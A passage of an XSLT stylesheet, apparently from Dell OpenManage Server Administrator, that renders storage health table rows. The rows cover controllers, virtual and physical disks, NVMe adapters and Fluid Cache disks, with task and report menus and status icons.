<ColumnData>
<xsl:choose>
<xsl:when test="$isEmpty='0'">
<!-- currentmethod mask isn't empty -->
<Data type="select" align="left">
<xsl:attribute name="name">CtrlTasks<xsl:value-of select="$ObjID"/></xsl:attribute>
<xsl:choose>
<xsl:when test="(starts-with($GLOBAL_VAR_LOCALE, 'fr')) or (starts-with($GLOBAL_VAR_LOCALE, 'es')) or (starts-with($GLOBAL_VAR_LOCALE, 'de'))">
<xsl:attribute name="width">width:320px</xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="width">width:230px</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<Choice>
<xsl:choose>
<!-- The below condition for for 12GBPS SAS HBA controller as it will be not having any controller tasks but reports -->
<xsl:when test="substring($DCSObject/AttributesMask1,31,1)='1'">
<xsl:attribute name="value"><xsl:value-of select="$strNoTask"/></xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="value"><xsl:value-of select="$strSelectTask"/></xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</Choice>
<xsl:if test="string-length($DCSObject/MainMethodMask) = 32">
<xsl:call-template name="for-loop-list-box">
<xsl:with-param name="Mask" select="$DCSObject/CurrentMethodMask"/>
<xsl:with-param name="templateName" select="5"/>
</xsl:call-template>
</xsl:if>
<xsl:if test="string-length($DCSObject/MainMethodMask) = 32">
<xsl:call-template name="for-loop-list-box">
<xsl:with-param name="Mask" select="$DCSObject/CurrentMethodMask1"/>
<xsl:with-param name="templateName" select="5"/>
<xsl:with-param name="AdditionalCurrentMethodMask" select="1"/>
</xsl:call-template>
</xsl:if>
</Data>
<Data type="button" width="100">
<xsl:attribute name="href">javascript:onExecuteController(\"<xsl:value-of select="@ControllerName"/>\",\"<xsl:value-of select="$ObjID"/>\", \"<xsl:value-of select="$IsDeleteSecurityKeyEnabled"/>\",\"<xsl:value-of select="$VAR_SecurityAction"/>\");</xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strExecute"/></xsl:attribute>
<xsl:attribute name="tablebutton">true</xsl:attribute>
<xsl:attribute name="browsercssfix">table_button_safari_omss_healthpage</xsl:attribute>
<!-- The above property should be set for the table button to get rid of whitespaces on the edges -->
</Data>
</xsl:when>
<xsl:otherwise>
<Data type="select" align="left">
<xsl:attribute name="name">CtrlTasks<xsl:value-of select="$ObjID"/></xsl:attribute>
<xsl:choose>
<xsl:when test="(starts-with($GLOBAL_VAR_LOCALE, 'fr')) or (starts-with($GLOBAL_VAR_LOCALE, 'es')) or (starts-with($GLOBAL_VAR_LOCALE, 'de'))">
<xsl:attribute name="width">width:320px</xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="width">width:230px</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<Choice returnvalue="" default="true">
<xsl:attribute name="value"><xsl:value-of select="$strNoTask"/></xsl:attribute>
</Choice>
</Data>
</xsl:otherwise>
</xsl:choose>
</ColumnData>
</xsl:if>
<xsl:if test="( (((substring($DCSObject/CurrentMethodMask,12,1)='1') and ($DCSObject/VendorID = '4')) or (substring($DCSObject/CurrentMethodMask,15,1)='1')) and $DCSObject/BusProtocol != '9' )">
<ColumnData>
<xsl:variable name="ctrlSasAddress">
<xsl:value-of select="$DCSObject/SasAddress"/>
</xsl:variable>
<xsl:variable name="busProtocol">
<xsl:value-of select="$DCSObject/BusProtocol"/>
</xsl:variable>
<xsl:variable name="zoneOffsetStart">
<xsl:value-of select="$DCSObject/ZoneOffsetStart"/>
</xsl:variable>
<xsl:variable name="zoneOffsetEnd">
<xsl:value-of select="$DCSObject/ZoneOffsetEnd"/>
</xsl:variable>
<xsl:choose>
<xsl:when test="$isEmpty='0'">
<!-- currentmethod mask isn't empty -->
<Data type="select" align="left">
<xsl:attribute name="name">CtrlReports<xsl:value-of select="$ObjID"/></xsl:attribute>
<xsl:choose>
<xsl:when test="(starts-with($GLOBAL_VAR_LOCALE, 'fr')) or (starts-with($GLOBAL_VAR_LOCALE, 'es')) or (starts-with($GLOBAL_VAR_LOCALE, 'de'))">
<xsl:attribute name="width">width:340px</xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="width">width:250px</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strSelectReport"/></xsl:attribute>
</Choice>
<xsl:if test="(substring($DCSObject/CurrentMethodMask1,27,1)='1') and ($DCSObject/VendorID = '4')">
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strViewPatrolReadReport"/></xsl:attribute>
<xsl:attribute name="returnvalue">2</xsl:attribute>
</Choice>
</xsl:if>
<xsl:if test="(substring($DCSObject/CurrentMethodMask1,26,1)='1') and ($DCSObject/VendorID = '4')">
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strViewCheckConsistencyReport"/></xsl:attribute>
<xsl:attribute name="returnvalue">4</xsl:attribute>
</Choice>
</xsl:if>
<xsl:if test="substring($DCSObject/CurrentMethodMask,15,1)='1'">
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strOccupancySlotReport"/></xsl:attribute>
<xsl:attribute name="returnvalue">8</xsl:attribute>
</Choice>
</xsl:if>
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strHDDFirmwareVersion"/></xsl:attribute>
<xsl:attribute name="returnvalue">16</xsl:attribute>
</Choice>
</Data>
<Data type="button" width="100">
<xsl:attribute name="href">javascript:onExecuteReport(\"<xsl:value-of select="@ControllerName"/>\",\"<xsl:value-of select="$ObjID"/>\",\"<xsl:value-of select="$ctrlSasAddress"/>\",\"<xsl:value-of select="$busProtocol"/>\",\"<xsl:value-of select="$zoneOffsetStart"/>\",\"<xsl:value-of select="$zoneOffsetEnd"/>\");</xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strExecute"/></xsl:attribute>
<xsl:attribute name="tablebutton">true</xsl:attribute>
<xsl:attribute name="browsercssfix">table_button_safari_omss_healthpage</xsl:attribute>
<!-- The above property should be set for the table button to get rid of whitespaces on the edges -->
</Data>
</xsl:when>
<xsl:otherwise>
<Data type="select" align="left">
<xsl:attribute name="name">CtrlReports<xsl:value-of select="$ObjID"/></xsl:attribute>
<xsl:choose>
<xsl:when test="(starts-with($GLOBAL_VAR_LOCALE, 'fr')) or (starts-with($GLOBAL_VAR_LOCALE, 'es')) or (starts-with($GLOBAL_VAR_LOCALE, 'de'))">
<xsl:attribute name="width">width:340px</xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="width">width:250px</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<Choice returnvalue="" default="true">
<xsl:attribute name="value"><xsl:value-of select="$strNoReports"/></xsl:attribute>
</Choice>
</Data>
</xsl:otherwise>
</xsl:choose>
</ColumnData>
</xsl:if>
<!-- virtual disk -->
<ChildrenRows>
<xsl:choose>
<xsl:when test="../VirtualDisks/DCStorageObject">
<Row>
<ColumnData>
<!-- VD details link -->
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strVDDetails"/><xsl:if test="../VirtualDisks/@TotalVDCount > 10"> <xsl:value-of select="$strVDPageLink"/></xsl:if></xsl:attribute>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('VD<xsl:value-of select="$ObjID"/>', 'VDSNB<xsl:value-of select="$ObjID"/>', 'Information<xsl:value-of select="$ObjID"/>');</xsl:attribute>
</Data>
</ColumnData>
</Row>
<xsl:for-each select="../VirtualDisks/DCStorageObject[IsSSC = '0' or not(IsSSC)]">
<xsl:choose>
<xsl:when test="SpanNum"></xsl:when><!-- do not show child span vds -->
<xsl:otherwise>
<Row>
<SelectDataItem>
<Data type="icon" align="left" width="20" height="1">
<xsl:attribute name="value"><xsl:call-template name="getIcon1"><xsl:with-param name="status"><xsl:value-of select="ObjStatus"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
</SelectDataItem>
<ColumnData>
<Data width="150">
<xsl:attribute name="value"><xsl:value-of select="Name"/></xsl:attribute>
<xsl:if test="ObjStatus!=2">
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.sm.webplugins.ArrayWebPlugin&ControllerOID=.<xsl:value-of select="GlobalNo"/>&ControllerName=<xsl:value-of select="../../@ControllerName"/>&VirtualDiskOID=<xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template>&VirtualDiskName=<xsl:value-of select="Name"/>&RaidLayout=<xsl:value-of select="Layout"/>&BackTo=./DataArea?plugin=com.dell.sm.webplugins.OMSSHealthWebPlugin!help=stprhl&help=adprin</xsl:attribute>
</xsl:if>
</Data>
</ColumnData>
<ColumnData>
<Data>
<xsl:attribute name="value"><xsl:call-template name="GetRaidLayout"><xsl:with-param name="RaidType" select="Layout"/></xsl:call-template></xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:otherwise>
</xsl:choose>
</xsl:for-each>
</xsl:when>
<xsl:otherwise>
<!-- No VD. This is is needed to keep alignment in the table, otherwise alignment will be off if a controller has a VD and another one doesn't. -->
<Row>
<ColumnData>
<Data width="150">
<xsl:attribute name="value"><xsl:value-of select="$strNoVirtualDisks"/></xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:otherwise>
</xsl:choose>
</ChildrenRows>
</Row>
</xsl:template>
<xsl:template name="PCIESSDComponent">
<xsl:param name="DCSObject"/>
<xsl:variable name="ObjID">
<xsl:call-template name="ModNexus">
<xsl:with-param name="nexus" select="$DCSObject/Nexus"/>
</xsl:call-template>
</xsl:variable>
<!-- var used for hiding tasks menu option -->
<xsl:variable name="isEmpty">
<xsl:call-template name="IsCurrentMethodMaskEmpty">
<xsl:with-param name="Mask">
<xsl:value-of select="$DCSObject/CurrentMethodMask"/>
</xsl:with-param>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="IsDiskInEnclosure">
<xsl:call-template name="IsDiskInEnclosure">
<xsl:with-param name="AttributesMask">
<xsl:value-of select="../ArrayDisks/DCStorageObject/AttributesMask"/>
</xsl:with-param>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="IsSASorSATA">
<xsl:call-template name="IsSASorSATA">
<xsl:with-param name="BusProtocol">
<xsl:value-of select="../ArrayDisks/DCStorageObject/BusProtocol"/>
</xsl:with-param>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="ADID">
<xsl:choose>
<xsl:when test="$IsSASorSATA='1' and $IsDiskInEnclosure='1'">
<xsl:value-of select="../ArrayDisks/DCStorageObject/Channel"/>:<xsl:value-of select="../ArrayDisks/DCStorageObject/EnclosureID"/>:<xsl:value-of select="../ArrayDisks/DCStorageObject/TargetID"/>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/>
</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<xsl:variable name="chnlparamID">
<xsl:call-template name="ModNexus">
<xsl:with-param name="nexus">
<xsl:value-of select="../Channels/DCStorageObject/Nexus"/>
</xsl:with-param>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="enclparamID">
<xsl:call-template name="ModNexus">
<xsl:with-param name="nexus">
<xsl:value-of select="../Enclosures/DCStorageObject/Nexus"/>
</xsl:with-param>
</xsl:call-template>
</xsl:variable>
<Row tree="expand">
<ColumnData>
<Data type="icon" width="20" align="left" height="1">
<xsl:attribute name="value"><xsl:call-template name="getIcon1"><xsl:with-param name="status"><xsl:value-of select="$DCSObject/TreeStatus"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
<Data align="left" width="170">
<xsl:attribute name="value"><xsl:value-of select="@ControllerName"/></xsl:attribute>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('Controller<xsl:value-of select="$ObjID"/>', 'Properties<xsl:value-of select="$ObjID"/>', 'Health<xsl:value-of select="$ObjID"/>');</xsl:attribute>
</Data>
</ColumnData>
<xsl:if test="(((substring($DCSObject/CurrentMethodMask,12,1)='1') and ($DCSObject/VendorID = '4')) or (substring($DCSObject/CurrentMethodMask,15,1)='1'))">
<ColumnData>
<xsl:variable name="ctrlSasAddress">
<xsl:value-of select="$DCSObject/SasAddress"/>
</xsl:variable>
<xsl:variable name="busProtocol">
<xsl:value-of select="$DCSObject/BusProtocol"/>
</xsl:variable>
<xsl:variable name="zoneOffsetStart">
<xsl:value-of select="$DCSObject/ZoneOffsetStart"/>
</xsl:variable>
<xsl:variable name="zoneOffsetEnd">
<xsl:value-of select="$DCSObject/ZoneOffsetEnd"/>
</xsl:variable>
<xsl:choose>
<xsl:when test="$isEmpty='0'">
<!-- currentmethod mask isn't empty -->
<Data type="select" align="left">
<xsl:attribute name="name">CtrlReports<xsl:value-of select="$ObjID"/></xsl:attribute>
<xsl:choose>
<xsl:when test="(starts-with($GLOBAL_VAR_LOCALE, 'fr')) or (starts-with($GLOBAL_VAR_LOCALE, 'es')) or (starts-with($GLOBAL_VAR_LOCALE, 'de'))">
<xsl:attribute name="width">width:320px</xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="width">width:230px</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strSelectReport"/></xsl:attribute>
</Choice>
<xsl:if test="(substring($DCSObject/CurrentMethodMask1,27,1)='1') and ($DCSObject/VendorID = '4')">
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strViewPatrolReadReport"/></xsl:attribute>
<xsl:attribute name="returnvalue">2</xsl:attribute>
</Choice>
</xsl:if>
<xsl:if test="(substring($DCSObject/CurrentMethodMask1,26,1)='1') and ($DCSObject/VendorID = '4')">
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strViewCheckConsistencyReport"/></xsl:attribute>
<xsl:attribute name="returnvalue">4</xsl:attribute>
</Choice>
</xsl:if>
<xsl:if test="substring($DCSObject/CurrentMethodMask,15,1)='1'">
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strOccupancySlotReport"/></xsl:attribute>
<xsl:attribute name="returnvalue">8</xsl:attribute>
</Choice>
</xsl:if>
<Choice>
<xsl:attribute name="value"><xsl:value-of select="$strHDDFirmwareVersion"/></xsl:attribute>
<xsl:attribute name="returnvalue">16</xsl:attribute>
</Choice>
</Data>
<Data type="button" width="100">
<xsl:attribute name="href">javascript:onExecuteReport(\"<xsl:value-of select="@ControllerName"/>\",\"<xsl:value-of select="$ObjID"/>\",\"<xsl:value-of select="$ctrlSasAddress"/>\",\"<xsl:value-of select="$busProtocol"/>\",\"<xsl:value-of select="$zoneOffsetStart"/>\",\"<xsl:value-of select="$zoneOffsetEnd"/>\");</xsl:attribute>
<xsl:attribute name="value"><xsl:value-of select="$strExecute"/></xsl:attribute>
<xsl:attribute name="tablebutton">true</xsl:attribute>
<xsl:attribute name="browsercssfix">table_button_safari_omss_healthpage</xsl:attribute>
<!-- The above property should be set for the table button to get rid of whitespaces on the edges -->
</Data>
</xsl:when>
<xsl:otherwise>
<Data type="select" align="left">
<xsl:attribute name="name">CtrlReports<xsl:value-of select="$ObjID"/></xsl:attribute>
<xsl:choose>
<xsl:when test="(starts-with($GLOBAL_VAR_LOCALE, 'fr')) or (starts-with($GLOBAL_VAR_LOCALE, 'es')) or (starts-with($GLOBAL_VAR_LOCALE, 'de'))">
<xsl:attribute name="width">width:320px</xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="width">width:230px</xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<Choice returnvalue="" default="true">
<xsl:attribute name="value"><xsl:value-of select="$strNoReports"/></xsl:attribute>
</Choice>
</Data>
</xsl:otherwise>
</xsl:choose>
</ColumnData>
</xsl:if>
<!-- physical disk -->
<ChildrenRows>
<xsl:choose>
<xsl:when test="../ArrayDisks/DCStorageObject">
<Row>
<ColumnData>
<!-- PD details link -->//ArrayDisks.1.0.1.0.0
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strDeviceDetails"/></xsl:attribute>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('ArrayDisks<xsl:value-of select="$chnlparamID"/><xsl:value-of select="$enclparamID"/>', '', '');</xsl:attribute>
</Data>
</ColumnData>
</Row>
<xsl:for-each select="../ArrayDisks/DCStorageObject">
<xsl:sort select="Channel" data-type="number" order="ascending"/>
<xsl:sort select="TargetID" data-type="number" order="ascending"/>
<Row>
<SelectDataItem>
<Data type="icon" align="left" width="20" height="1">
<xsl:attribute name="value"><xsl:call-template name="getIcon1"><xsl:with-param name="status"><xsl:value-of select="ObjStatus"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
</SelectDataItem>
<ColumnData>
<xsl:choose>
<xsl:when test="$IsSASorSATA='1' and $IsDiskInEnclosure='1'">
<Data width="150">
<xsl:choose>
<xsl:when test="BusProtocol = '9' and ServerGen = '48'">
<xsl:attribute name="value"><xsl:value-of select="$strDevice"/><xsl:value-of select="EnclosureID"/>:<xsl:value-of select="TargetID"/></xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="value"><xsl:value-of select="$strDevice"/><xsl:value-of select="Channel"/>:<xsl:value-of select="EnclosureID"/>:<xsl:value-of select="TargetID"/></xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</Data>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="value"><xsl:value-of select="$strDevice"/><xsl:value-of select="Channel"/>:<xsl:value-of select="TargetID"/></xsl:attribute>
</xsl:otherwise>
</xsl:choose>
</ColumnData>
<ColumnData>
<Data>
<xsl:attribute name="value"><xsl:call-template name="GetState"><xsl:with-param name="state"><xsl:value-of select="ObjState"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:for-each>
</xsl:when>
<xsl:when test="not(../ArrayDisks/DCStorageObject) and not(../Channels/DCStorageObject/FormFactor = 2)">
<!-- No PD. This is is needed to keep alignment in the table, otherwise alignment will be off if a controller has a PD and another one doesn't. -->
<Row>
<ColumnData>
<Data width="150">
<xsl:attribute name="value"><xsl:value-of select="$strNoDevices"/></xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:when>
</xsl:choose>
<xsl:if test="../NVMeAdapters/DCStorageObject">
<xsl:for-each select="../NVMeAdapters/DCStorageObject">
<xsl:sort select="Channel" data-type="number" order="ascending"/>
<xsl:variable name="HHHLObjID">
<xsl:call-template name="ModNexus">
<xsl:with-param name="nexus" select="Nexus"/>
</xsl:call-template>
</xsl:variable>
<Row>
<ColumnData>
<!-- HHHL -->
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strHHHL"/><xsl:value-of select="Channel"/></xsl:attribute>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('NVMeAdapter<xsl:value-of select="$HHHLObjID"/><xsl:value-of select="Channel"/>', 'NVMeAdapter<xsl:value-of select="$HHHLObjID"/>', 'Information<xsl:value-of select="$HHHLObjID"/>');</xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:for-each>
</xsl:if>
</ChildrenRows>
</Row>
</xsl:template>
<xsl:template name="FluidCacheComponent">
<xsl:param name="DCSObject"/>
<xsl:variable name="ObjID">
<xsl:call-template name="ModNexus">
<xsl:with-param name="nexus" select="$DCSObject/Nexus"/>
</xsl:call-template>
</xsl:variable>
<Row tree="expand">
<ColumnData>
<Data type="icon" width="20" align="left" height="1">
<xsl:attribute name="value"><xsl:call-template name="getIcon1"><xsl:with-param name="status"><xsl:value-of select="$DCSObject/TreeStatus"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
<Data align="left" width="170">
<xsl:attribute name="value"><xsl:value-of select="@ControllerName"/></xsl:attribute>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('Controller<xsl:value-of select="$ObjID"/>', 'Properties<xsl:value-of select="$ObjID"/>', 'Health<xsl:value-of select="$ObjID"/>');</xsl:attribute>
</Data>
</ColumnData>
<ChildrenRows>
<xsl:choose>
<xsl:when test="../FluidCachedDisks/DCStorageObject">
<xsl:for-each select="../FluidCachedDisks/DCStorageObject">
<Row>
<SelectDataItem>
<Data type="icon" align="left" width="20" height="1">
<xsl:attribute name="value"><xsl:call-template name="getIcon1"><xsl:with-param name="status"><xsl:value-of select="ObjStatus"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
</SelectDataItem>
<ColumnData>
<Data width="150">
<xsl:attribute name="value"><xsl:value-of select="CacheLunName"/></xsl:attribute>
</Data>
</ColumnData>
<ColumnData>
<Data>
<xsl:attribute name="value"><xsl:call-template name="GetFluidCacheState"><xsl:with-param name="state"><xsl:value-of select="ObjState"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:for-each>
</xsl:when>
<xsl:otherwise>
<Row>
<ColumnData>
<Data width="150">
<xsl:attribute name="value"><xsl:value-of select="$strNoFluidCacheDisks"/></xsl:attribute>
</Data>
</ColumnData>
</Row>
</xsl:otherwise>
</xsl:choose>
</ChildrenRows>
</Row>
</xsl:template>
<xsl:template name="getIcon1">
<xsl:param name="status"/>
<xsl:if test="$status='0'">/oma/images/status_icons/statusUnknown_16.png</xsl:if>
<xsl:if test="$status='1'">/oma/images/status_icons/statusUnknown_16.png</xsl:if>
<xsl:if test="$status='2'">/oma/images/status_icons/statusOK_16.png</xsl:if>
<xsl:if test="$status='3'">/oma/images/status_icons/nonCritical_16.png</xsl:if>
<xsl:if test="$status='4'">/oma/images/status_icons/critical_16.png</xsl:if>
<xsl:if test="$status='5'">/oma/images/status_icons/critical_16.png</xsl:if>
<xsl:if test="$status='6'">/oma/images/action_icons/abort_16.png</xsl:if>
<xsl:if test="$status='7'">/oma/images/progress.gif</xsl:if>
<xsl:if test="$status='8'">/oma/images/action_icons/suspend_16.png</xsl:if>
<xsl:if test="$status='9'">/oma/images/action_icons/resume_16.png</xsl:if>
<xsl:if test="$status='10'">/oma/images/pending.gif</xsl:if>
</xsl:template>
<xsl:template match="*">
</xsl:template>
</xsl:stylesheet>